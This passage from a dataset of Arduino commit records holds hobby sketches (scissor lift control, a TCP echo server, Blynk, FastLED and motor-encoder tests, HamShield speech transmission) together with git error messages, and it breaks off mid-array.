Serial.println(tmp_pos);\n }\n \n Serial.println(\"finish up\");\n }\n else \n { \n Serial.println(\"start down\");\n tmp_pos = get_IRdistance_filtered();\n Serial.println(tmp_pos);\n \n while(abs(des_pos-tmp_pos)>1 && tmp_pos >= des_pos)\n \n {\n \n digitalWrite(relay1, HIGH);\n digitalWrite(relay4, HIGH);\n digitalWrite(relay2, LOW);\n digitalWrite(relay3, LOW); \n \/\/delay(1000);\n tmp_pos = get_IRdistance_filtered();\n Serial.println(tmp_pos);\n } \n Serial.println(\"finish down\");\n }\n ini_pos = tmp_pos;\n des_pos =0; \n tmp_pos =0;\n digitalWrite(relay1, HIGH);\n digitalWrite(relay2, HIGH);\n digitalWrite(relay3, HIGH);\n digitalWrite(relay4, HIGH); \n }\n}\n\nros::Subscriber<std_msgs::Int32> sub(\"target_height\", &get_height);\n\n\n\nvoid setup() \n{ \n nh.initNode(); \n nh.subscribe(sub);\n \/\/ini_pos =70 ;\n \n Serial.begin(57600);\n Serial.read(); \n \n pinMode(relay1, OUTPUT);\n pinMode(relay2, OUTPUT);\n pinMode(relay3, OUTPUT);\n pinMode(relay4, OUTPUT);\n\n \/\/ initialize output pins \n digitalWrite(relay1, HIGH);\n digitalWrite(relay2, HIGH);\n digitalWrite(relay3, HIGH);\n digitalWrite(relay4, HIGH);\n initialize_pos();\n}\n\nvoid loop() \n{ \n nh.spinOnce(); \n delay(200); \n \n}\n\nvoid initialize_pos()\n{\n des_pos = 40;\n ini_pos = get_IRdistance_filtered();\n \n if(des_pos != ini_pos)\n { \n if(des_pos > ini_pos)\n { \n Serial.println(\"start up\");\n tmp_pos = get_IRdistance_filtered();\n while(abs(des_pos-tmp_pos)>1 && des_pos >= tmp_pos)\n {\n \n digitalWrite(relay2, HIGH);\n digitalWrite(relay3, HIGH);\n digitalWrite(relay1, LOW);\n digitalWrite(relay4, LOW); \n \/\/delay(1000);\n tmp_pos = get_IRdistance_filtered();\n }\n Serial.println(\"finish up\");\n }\n else \n { \n Serial.println(\"start down\");\n tmp_pos = get_IRdistance_filtered();\n while( abs(des_pos-tmp_pos)>1 && tmp_pos >= des_pos)\n { \n digitalWrite(relay1, HIGH);\n digitalWrite(relay4, HIGH);\n digitalWrite(relay2, LOW);\n digitalWrite(relay3, LOW); \n \/\/delay(1000);\n tmp_pos = get_IRdistance_filtered(); \n } \n Serial.println(\"finish down\");\n }\n ini_pos = tmp_pos;\n des_pos =0; \n tmp_pos =0;\n digitalWrite(relay1, HIGH);\n digitalWrite(relay2, HIGH);\n digitalWrite(relay3, HIGH);\n digitalWrite(relay4, HIGH); \n } \n}\n\n\nint get_IRdistance_filtered() {\n \/\/ Clear array\n memset(measured_vals,0,sizeof(measured_vals));\n for( int i = 0; i < arr_size; i++) {\n \/\/ Pulse width representation.\n \/\/ Scale factor of 147 uS per Inch \n ir_volt = analogRead(ir_pin)*0.0048828; \n ir_distance = 65 * pow(ir_volt, -1.10);\n \/\/Serial.println(ir_distance); \n measured_vals[i] = ir_distance;\n \/\/sum= sum + measured_vals[i];\n delay(40);\n } \n \n sort_array(arr_size, measured_vals);\n filter_result = mode(arr_size, measured_vals); \n filter_result = filter_result-6;\n \/\/Serial.println(filter_result); \n \/\/filter_result = sum \/ arr_size;\n if(filter_result >150) filter_result =150;\n else if(filter_result <20) filter_result =20;\n \n Serial.println(filter_result); \n return filter_result;\n}\n\nvoid sort_array(int array_size, int *val_array) {\n for (int i = 1; i < array_size; i++) {\n int j = val_array[i];\n int k;\n for (k = i - 1; (k >= 0) && (j < val_array[k]); k--) {\n val_array[k+1] = val_array[k];\n }\n val_array[k+1] = j;\n }\n}\n\nint mode(int array_size,int\n*val_array){\n int i = 0;\n int count = 0;\n int maxCount = 0;\n int mode = 0;\n int bimodal;\n int prevCount = 0;\n while(i < (array_size-1)){\n prevCount = count;\n count = 0;\n while(val_array[i] == val_array[i+1]){\n count++;\n i++;\n \n \n }\n if(count > prevCount && count > maxCount){\n mode = val_array[i];\n maxCount = count;\n bimodal = 0;\n }\n if(count == 0){\n i++;\n }\n if(count == maxCount){ \/\/If the dataset has 2 or more modes.\n bimodal = 1;\n }\n \/\/Return the median if there is no mode.\n if(mode == 0 || bimodal == 1){\n mode = val_array[(array_size\/2)];\n }\n return mode;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/Scissor_Lift_Control_IR_0427.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8d68d3746f40ca7952b4290e13bd1b1202a02ade","subject":"Create tcp-server.ino","message":"Create tcp-server.ino","repos":"hpssjellis\/spark-core-socket-client-or-server","old_file":"spark-as-server\/tcp-server.ino","new_file":"spark-as-server\/tcp-server.ino","new_contents":"\n\nTCPServer server = TCPServer(23);\nTCPClient client;\n\nvoid setup()\n{\n \/\/ start listening for clients\n server.begin();\n\n \/\/ Make sure your Serial Terminal app is closed before powering your Core\n Serial.begin(9600);\n \/\/ Now open your Serial Terminal, and hit any key to continue!\n while(!Serial.available()) SPARK_WLAN_Loop();\n\n Serial.println(WiFi.localIP());\n Serial.println(WiFi.subnetMask());\n Serial.println(WiFi.gatewayIP());\n Serial.println(WiFi.SSID());\n}\n\nvoid loop()\n{\n if (client.connected()) {\n \/\/ echo all available bytes back to the client\n while (client.available()) {\n server.write(client.read());\n }\n } else {\n \/\/ if no client is yet connected, check for a new connection\n client = server.available();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'spark-as-server\/tcp-server.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a6a45090a355e675cce61d492fa8e9366e7f4f0f","subject":"introductory and response tune, upper limit","message":"introductory and response tune, upper limit\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"motor_robot2.ino","new_file":"motor_robot2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"be934eebd18f92cab7a7787d698bdc4a74bb811f","subject":"changed 'forward speed' to 'horizontal speed'","message":"changed 'forward speed' to 'horizontal speed'\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"erikson-1\/erikson-1.ino","new_file":"erikson-1\/erikson-1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e16a0fc1ac938ade7ca8aac3a6587cacd9232bb4","subject":"Add AirBoard BLE example","message":"Add AirBoard BLE example\n","repos":"ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/Boards_Bluetooth\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino","new_file":"examples\/Boards_Bluetooth\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use AirBoard + BLE-Link\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\n * USB HOWTO: http:\/\/tiny.cc\/BlynkUSB\n **************************************************************\/\n\n\/\/#define BLYNK_USE_DIRECT_CONNECT\n\n#include <SoftwareSerial.h>\nSoftwareSerial DebugSerial(10, 11); \/\/ RX, TX\n\n#define BLYNK_PRINT DebugSerial\n\n#include <BlynkSimpleSerialBLE.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n#include <SimpleTimer.h>\nSimpleTimer timer;\n\nvoid setup()\n{\n DebugSerial.begin(9600);\n\n \/\/ Blynk works through Serial\n \/\/ Do not read or write this serial manually in your sketch\n Serial.begin(115200);\n Blynk.begin(Serial, auth);\n\n setLED(0x04, 0x16, 0x10);\n\n timer.setInterval(1000L, []() {\n Blynk.virtualWrite(V1, millis());\n });\n}\n\nvoid loop()\n{\n Blynk.run();\n timer.run();\n}\n\n#define LED_RED 9\n#define LED_GREEN 5\n#define LED_BLUE 6\n\nvoid setLED(byte r, byte g, byte b) {\n analogWrite(LED_RED, r);\n analogWrite(LED_GREEN, g);\n analogWrite(LED_BLUE, b);\n}\n\nBLYNK_CONNECTED() {\n setLED(0x00, 0x00, 0x20);\n}\n\nBLYNK_WRITE(V0) {\n int r = param[0].asInt();\n int g = param[1].asInt();\n int b = param[2].asInt();\n setLED(r, g, b);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_Bluetooth\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"054a5a1cda8b8d15f28cb6503cfc08908931925b","subject":"split 1-wire bus, part 1","message":"split 1-wire bus, part 1\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"arduino\/temperature\/temperature.ino","new_file":"arduino\/temperature\/temperature.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f627ddd5a0233c450c679fe745b017ed8b4067ed","subject":"Added popup example.","message":"Added popup example.\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Popup_Example\/Popup_Example.ino","new_file":"examples\/Popup_Example\/Popup_Example.ino","new_contents":"#include <SPI.h>\n#include <Popup.h>\n\nCanvas canvas = Canvas();\nPopup popup = Popup();\n\nvoid setup() {\n Serial.begin(9600);\n canvas.init(TFT_LANDSCAPE);\n pinMode(7,OUTPUT);\n digitalWrite(7,HIGH);\n\n popup.setSize(220,100);\n popup.setColors(GRAY1,BLACK,WHITE);\n popup.setText(\"Do you like it?\",\"Yes\",\"No\");\n popup.setEventHandler(&popupEventHandler);\n popup.type = 1;\n popup.init();\n popup.visible = true;\n \/\/popup.setDebounce(100);\n \n canvas.add(&popup,50,70);\n}\n\nvoid loop() {\n canvas.scan();\n}\n\nvoid popupEventHandler(Popup* pup, unsigned char val){\n Serial.print(\"Button \");Serial.print(val);\n Serial.println(\" pressed\");\n if(pup->type){\n pup->type = 0;\n if(val==1){\n pup->setText(\"Nothing to do\",\"Ok\");\n }else{\n pup->setText(\"Should've said Yes\",\"Ok\");\n }\n }else{\n pup->type = 1;\n pup->setText(\"Do you like it?\",\"Yes\",\"No\");\n }\n pup->visible = true;\n canvas.redraw();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Popup_Example\/Popup_Example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f488060c6a4c889d177909f2fdac4d640bc03356","subject":"add wave trigger config file","message":"add wave trigger config file","repos":"paolocavagnolo\/plastik-art_democracy","old_file":"coni\/wave-trigger\/wavtrigr.ino","new_file":"coni\/wave-trigger\/wavtrigr.ino","new_contents":"#TRIG 01, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 02, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 03, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 04, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 05, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 06, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 07, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 08, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 09, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 10, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 11, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 12, 2, 1, 1, 0, 1, 1, 0, ,\n#TRIG 16, 2, 1, 2, 0, 0, 7, 0, 1, 16\n********************************************************************\nThis file was generated by the WAV Trigger Init File Maker v1.00\nIt is only required if you wish to over-ride default settings. You\nmay add your own comments below this line -->\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'coni\/wave-trigger\/wavtrigr.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"5e7f6fd925f694f506ed9787fc9e44a39989ed65","subject":"encoder calc test","message":"encoder calc test\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/omniwheel4_Encoderb.ino","new_file":"testing\/arduino\/omniwheel4_Encoderb.ino","new_contents":"#include \"Arduino.h\"\n\nint motorPin1_1 = 4;\nint motorPin1_2 = 5;\nint motorPin1_speed = 3;\nint motorPin1_A = A7;\n\nint motorPin2_1 = 7;\nint motorPin2_2 = 8;\nint motorPin2_speed = 6;\nint motorPin2_A = A6;\n\nint motorPin3_1 = 10;\nint motorPin3_2 = 11;\nint motorPin3_speed = 9;\nint motorPin3_A = A5;\n\nint globalSpeedInit = 255;\nint reducedSpeed = globalSpeedInit * 0.09;\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n ;\n Serial.println(\"Init\");\n\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n pinMode(motorPin1_speed, OUTPUT);\n pinMode(motorPin1_A, INPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n pinMode(motorPin2_speed, OUTPUT);\n pinMode(motorPin2_A, INPUT);\n\n pinMode(motorPin3_1, OUTPUT);\n pinMode(motorPin3_2, OUTPUT);\n pinMode(motorPin3_speed, OUTPUT);\n pinMode(motorPin3_A, INPUT);\n\n}\n\n\nvoid SetMotor(int pinSpeed, int pin1, int pin2, int speed)\n{\n analogWrite(pinSpeed, abs(speed));\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\nint motor1_RPMCount = 0;\nint motor1_State = 0;\nint motor1_Lookup[55];\n\nint motor2_RPMCount = 0;\nint motor2_State = 0;\nint motor2_Lookup[55];\n\nint motor3_RPMCount = 0;\nint motor3_State = 0;\nint motor3_Lookup[55];\n\nunsigned long time = 0;\n\n\n100% 320cps\n90% 310\n...\n50% 100\n...\n10 15\n5 0\n\n\n\n\n\nbool init = false;\nunsigned long initTimestamp = 0;\nint initSpeed = 255;\n\n\n\/\/ 1 Rotation == 80 Gearbox Ratio ==\n\/\/ 4 CPR (counts per revolution) * 80 == 320 Counts per Rotation\nint pulsesPerRotation = 320\n\n\nvoid loop()\n{\n time = millis();\n\n UpdateRPM();\n\n\n if(!init)\n {\n motor1_RPMCount = 0;\n motor2_RPMCount = 0;\n motor3_RPMCount = 0;\n\n SetWheelsTo(initSpeed);\n initTimestamp = time;\n init = true;\n return;\n }\n\n if (initTimestamp + 100 <= time && initSpeed > 0)\n {\n \/\/motor1_Lookup[motor1_RPMCount] = initSpeed;\n \/\/motor2_Lookup[motor2_RPMCount] = initSpeed;\n \/\/motor3_Lookup[motor3_RPMCount] = initSpeed;\n\n initSpeed -= 5;\n\n SetWheelsTo(initSpeed);\n initTimestamp = time;\n\n motor1_RPMCount = 0;\n motor2_RPMCount = 0;\n motor3_RPMCount = 0;\n return;\n }\n\n}\n\nvoid SetWheelsTo(int speed)\n{\n SetMotor(motorPin1_speed, motorPin1_1, motorPin1_2, speed);\n SetMotor(motorPin2_speed, motorPin2_1, motorPin2_2, speed);\n SetMotor(motorPin3_speed, motorPin3_1, motorPin3_2, speed);\n}\n\n\n\nvoid UpdateRPM()\n{\n int state = (analogRead(motorPin1_A) < 500) ? 0 : 1;\n if(state != motor1_State)\n {\n motor1_RPMCount++;\n motor1_State = state;\n }\n\n state = (analogRead(motorPin2_A) < 500) ? 0 : 1;\n if(state != motor2_State)\n {\n motor2_RPMCount++;\n motor2_State = state;\n }\n\n state = (analogRead(motorPin3_A) < 500) ? 0 : 1;\n if(state != motor3_State)\n {\n motor3_RPMCount++;\n motor3_State = state;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/omniwheel4_Encoderb.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"fc04cad4353d3d85887ccfad3b91d3b4f54cd404","subject":"Create heart_blood_pulsing.ino","message":"Create heart_blood_pulsing.ino","repos":"marmilicious\/FastLED_examples","old_file":"heart_blood_pulsing.ino","new_file":"heart_blood_pulsing.ino","new_contents":"\/\/***************************************************************\n\/\/ Heart pulse, blood flowing example\n\/\/ \n\/\/ Marc Miller, Jan 2016\n\/\/***************************************************************\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\nCRGB leds[NUM_LEDS];\n#define BRIGHTNESS 255\n\n\nuint8_t bloodHue = 96; \/\/ Blood color [hue from 0-255]\nuint8_t bloodSat = 255; \/\/ Blood staturation [0-255]\nint flowDirection = -1; \/\/ Use either 1 or -1 to set flow direction\nuint16_t cycleLength = 1500; \/\/ Lover values = continuous flow, higher values = distinct pulses.\nuint16_t pulseLength = 150; \/\/ How long the pulse takes to fade out. Higher value is longer.\nuint16_t pulseOffset = 200; \/\/ Delay before second pulse. Higher value is more delay.\nuint8_t baseBrightness = 10; \/\/ Brightness of LEDs when not pulsing. Set to 0 for off.\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200);\n delay(3000); \/\/ 3 second delay\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n heartBeat(); \/\/ Heart beat function\n FastLED.show();\n}\n\n\n\/\/===============================================================\n\/\/ Heart Beat Functions\n\/\/ The base for all this goodness came from Mark Kriegsman and\n\/\/ was initially coded up by Chris Thodey. I updated it to use\n\/\/ HSV and provided all the variables to play with up above.\n\/\/ -Marc\n\nvoid heartBeat(){\n for (int i = 0; i < NUM_LEDS ; i++) {\n uint8_t bloodVal = sumPulse( (5\/NUM_LEDS\/2) + (NUM_LEDS\/2) * i * flowDirection );\n leds[i] = CHSV( bloodHue, bloodSat, bloodVal );\n }\n}\n\nint sumPulse(int time_shift) {\n \/\/time_shift = 0; \/\/Uncomment to heart beat\/pulse all LEDs together\n int pulse1 = pulseWave8( millis() + time_shift, cycleLength, pulseLength );\n int pulse2 = pulseWave8( millis() + time_shift + pulseOffset, cycleLength, pulseLength );\n return qadd8( pulse1, pulse2 ); \/\/ Add pulses together without overflow\n}\n\nuint8_t pulseWave8(uint32_t ms, uint16_t cycleLength, uint16_t pulseLength) {\n uint16_t T = ms % cycleLength;\n if ( T > pulseLength) return baseBrightness;\n uint16_t halfPulse = pulseLength \/ 2;\n if (T <= halfPulse ) {\n return (T * 255) \/ halfPulse; \/\/first half = going up\n } else {\n return((pulseLength - T) * 255) \/ halfPulse; \/\/second half = going down\n }\n}\n\/\/End_heart_beat_functions\n\/\/---------------------------------------------------------------\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'heart_blood_pulsing.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f78a4828c94a79ab734eeeebdfb5d5eb9c8bca24","subject":"Added cooldown reset when '0' is pressed and the strip is off.","message":"Added cooldown reset when '0' is pressed and the strip is off.\n","repos":"VaSe7u\/Music_LED_strip,VaSe7u\/Music_LED_strip","old_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_file":"src\/Music_LED_strip\/Music_LED_strip.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/VaSe7u\/Music_LED_strip.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c20765f843023f5d2d2cd2a125887096c7141c5","subject":"Reset counter even when there's nothing to send","message":"Reset counter even when there's nothing to send\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"6f7affe635786050929d901fe16f81ecaea5d139","subject":"Create SpeechTX.ino","message":"Create SpeechTX.ino\n\nExample of using the Talkie library to enable the HamShield to transmit encoded audio speech.","repos":"EnhancedRadioDevices\/HamShield,EnhancedRadioDevices\/HamShield","old_file":"examples\/SpeechTX\/SpeechTX.ino","new_file":"examples\/SpeechTX\/SpeechTX.ino","new_contents":"\/* Hamshield (See https:\/\/github.com\/EnhancedRadioDevices\/HamShield)\n * Example: SpeechTX - This example used the basic JustTransmit example from the above site\n * This example uses the Talkie Arduino speech library. It transmits pre-encoded speech over the air.\n * More info at: https:\/\/github.com\/going-digital\/Talkie\n * Connect the HamShield to your Arduino. Screw the antenna \n * into the HamShield RF jack. Connect the Arduino to \n * wall power and then to your computer via USB. After \n * uploading this program to your Arduino\n * tune a HandyTalkie (HT) to 144.025MHz. Listen on \n * the HT for the HamShield broadcasting with its own speech.\n*\/\n\n#include <HamShield.h>\n\n#define PWM_PIN 3\n#define RESET_PIN A3\n#define SWITCH_PIN 2\n\nHamShield radio;\n#include \"talkie.h\"\n\nTalkie voice;\n\nconst uint8_t spZERO[] PROGMEM = {0x69,0xFB,0x59,0xDD,0x51,0xD5,0xD7,0xB5,0x6F,0x0A,0x78,0xC0,0x52,0x01,0x0F,0x50,0xAC,0xF6,0xA8,0x16,0x15,0xF2,0x7B,0xEA,0x19,0x47,0xD0,0x64,0xEB,0xAD,0x76,0xB5,0xEB,0xD1,0x96,0x24,0x6E,0x62,0x6D,0x5B,0x1F,0x0A,0xA7,0xB9,0xC5,0xAB,0xFD,0x1A,0x62,0xF0,0xF0,0xE2,0x6C,0x73,0x1C,0x73,0x52,0x1D,0x19,0x94,0x6F,0xCE,0x7D,0xED,0x6B,0xD9,0x82,0xDC,0x48,0xC7,0x2E,0x71,0x8B,0xBB,0xDF,0xFF,0x1F};\nconst uint8_t spFOUR[] PROGMEM = {0x08,0x68,0x21,0x0D,0x03,0x04,0x28,0xCE,0x92,0x03,0x23,0x4A,0xCA,0xA6,0x1C,0xDA,0xAD,0xB4,0x70,0xED,0x19,0x64,0xB7,0xD3,0x91,0x45,0x51,0x35,0x89,0xEA,0x66,0xDE,0xEA,0xE0,0xAB,0xD3,0x29,0x4F,0x1F,0xFA,0x52,0xF6,0x90,0x52,0x3B,0x25,0x7F,0xDD,0xCB,0x9D,0x72,0x72,0x8C,0x79,0xCB,0x6F,0xFA,0xD2,0x10,0x9E,0xB4,0x2C,0xE1,0x4F,0x25,0x70,0x3A,0xDC,0xBA,0x2F,0x6F,0xC1,0x75,0xCB,0xF2,0xFF};\nconst uint8_t spEIGHT[] PROGMEM = {0x65,0x69,0x89,0xC5,0x73,0x66,0xDF,0xE9,0x8C,0x33,0x0E,0x41,0xC6,0xEA,0x5B,0xEF,0x7A,0xF5,0x33,0x25,0x50,0xE5,0xEA,0x39,0xD7,0xC5,0x6E,0x08,0x14,0xC1,0xDD,0x45,0x64,0x03,0x00,0x80,0x00,0xAE,0x70,0x33,0xC0,0x73,0x33,0x1A,0x10,0x40,0x8F,0x2B,0x14,0xF8,0x7F};\nconst uint8_t spTWELVE[] PROGMEM = {0x09,0x98,0xDA,0x22,0x01,0x37,0x78,0x1A,0x20,0x85,0xD1,0x50,0x3A,0x33,0x11,0x81,0x5D,0x5B,0x95,0xD4,0x44,0x04,0x76,0x9D,0xD5,0xA9,0x3A,0xAB,0xF0,0xA1,0x3E,0xB7,0xBA,0xD5,0xA9,0x2B,0xEB,0xCC,0xA0,0x3E,0xB7,0xBD,0xC3,0x5A,0x3B,0xC8,0x69,0x67,0xBD,0xFB,0xE8,0x67,0xBF,0xCA,0x9D,0xE9,0x74,0x08,0xE7,0xCE,0x77,0x78,0x06,0x89,0x32,0x57,0xD6,0xF1,0xF1,0x8F,0x7D,0xFE,0x1F};\nconst uint8_t spTWENTY[] PROGMEM = {0x0A,0xE8,0x4A,0xCD,0x01,0xDB,0xB9,0x33,0xC0,0xA6,0x54,0x0C,0xA4,0x34,0xD9,0xF2,0x0A,0x6C,0xBB,0xB3,0x53,0x0E,0x5D,0xA6,0x25,0x9B,0x6F,0x75,0xCA,0x61,0x52,0xDC,0x74,0x49,0xA9,0x8A,0xC4,0x76,0x4D,0xD7,0xB1,0x76,0xC0,0x55,0xA6,0x65,0xD8,0x26,0x99,0x5C,0x56,0xAD,0xB9,0x25,0x23,0xD5,0x7C,0x32,0x96,0xE9,0x9B,0x20,0x7D,0xCB,0x3C,0xFA,0x55,0xAE,0x99,0x1A,0x30,0xFC,0x4B,0x3C,0xFF,0x1F};\nconst uint8_t spONE[] PROGMEM = {0x66,0x4E,0xA8,0x7A,0x8D,0xED,0xC4,0xB5,0xCD,0x89,0xD4,0xBC,0xA2,0xDB,0xD1,0x27,0xBE,0x33,0x4C,0xD9,0x4F,0x9B,0x4D,0x57,0x8A,0x76,0xBE,0xF5,0xA9,0xAA,0x2E,0x4F,0xD5,0xCD,0xB7,0xD9,0x43,0x5B,0x87,0x13,0x4C,0x0D,0xA7,0x75,0xAB,0x7B,0x3E,0xE3,0x19,0x6F,0x7F,0xA7,0xA7,0xF9,0xD0,0x30,0x5B,0x1D,0x9E,0x9A,0x34,0x44,0xBC,0xB6,0x7D,0xFE,0x1F};\nconst uint8_t spFIVE[] PROGMEM = {0x08,0x68,0x4E,0x9D,0x02,0x1C,0x60,0xC0,0x8C,0x69,0x12,0xB0,0xC0,0x28,0xAB,0x8C,0x9C,0xC0,0x2D,0xBB,0x38,0x79,0x31,0x15,0xA3,0xB6,0xE4,0x16,0xB7,0xDC,0xF5,0x6E,0x57,0xDF,0x54,0x5B,0x85,0xBE,0xD9,0xE3,0x5C,0xC6,0xD6,0x6D,0xB1,0xA5,0xBF,0x99,0x5B,0x3B,0x5A,0x30,0x09,0xAF,0x2F,0xED,0xEC,0x31,0xC4,0x5C,0xBE,0xD6,0x33,0xDD,0xAD,0x88,0x87,0xE2,0xD2,0xF2,0xF4,0xE0,0x16,0x2A,0xB2,0xE3,0x63,0x1F,0xF9,0xF0,0xE7,0xFF,0x01};\nconst uint8_t spNINE[] PROGMEM = {0xE6,0xA8,0x1A,0x35,0x5D,0xD6,0x9A,0x35,0x4B,0x8C,0x4E,0x6B,0x1A,0xD6,0xA6,0x51,0xB2,0xB5,0xEE,0x58,0x9A,0x13,0x4F,0xB5,0x35,0x67,0x68,0x26,0x3D,0x4D,0x97,0x9C,0xBE,0xC9,0x75,0x2F,0x6D,0x7B,0xBB,0x5B,0xDF,0xFA,0x36,0xA7,0xEF,0xBA,0x25,0xDA,0x16,0xDF,0x69,0xAC,0x23,0x05,0x45,0xF9,0xAC,0xB9,0x8F,0xA3,0x97,0x20,0x73,0x9F,0x54,0xCE,0x1E,0x45,0xC2,0xA2,0x4E,0x3E,0xD3,0xD5,0x3D,0xB1,0x79,0x24,0x0D,0xD7,0x48,0x4C,0x6E,0xE1,0x2C,0xDE,0xFF,0x0F};\nconst uint8_t spTHIR_[] PROGMEM = {0x04,0xA8,0xBE,0x5C,0x00,0xDD,0xA5,0x11,0xA0,0xFA,0x72,0x02,0x74,0x97,0xC6,0x01,0x09,0x9C,0xA6,0xAB,0x30,0x0D,0xCE,0x7A,0xEA,0x6A,0x4A,0x39,0x35,0xFB,0xAA,0x8B,0x1B,0xC6,0x76,0xF7,0xAB,0x2E,0x79,0x19,0xCA,0xD5,0xEF,0xCA,0x57,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x00,0xC0,0xFF,0x03};\nconst uint8_t spHUNDRED[] PROGMEM = 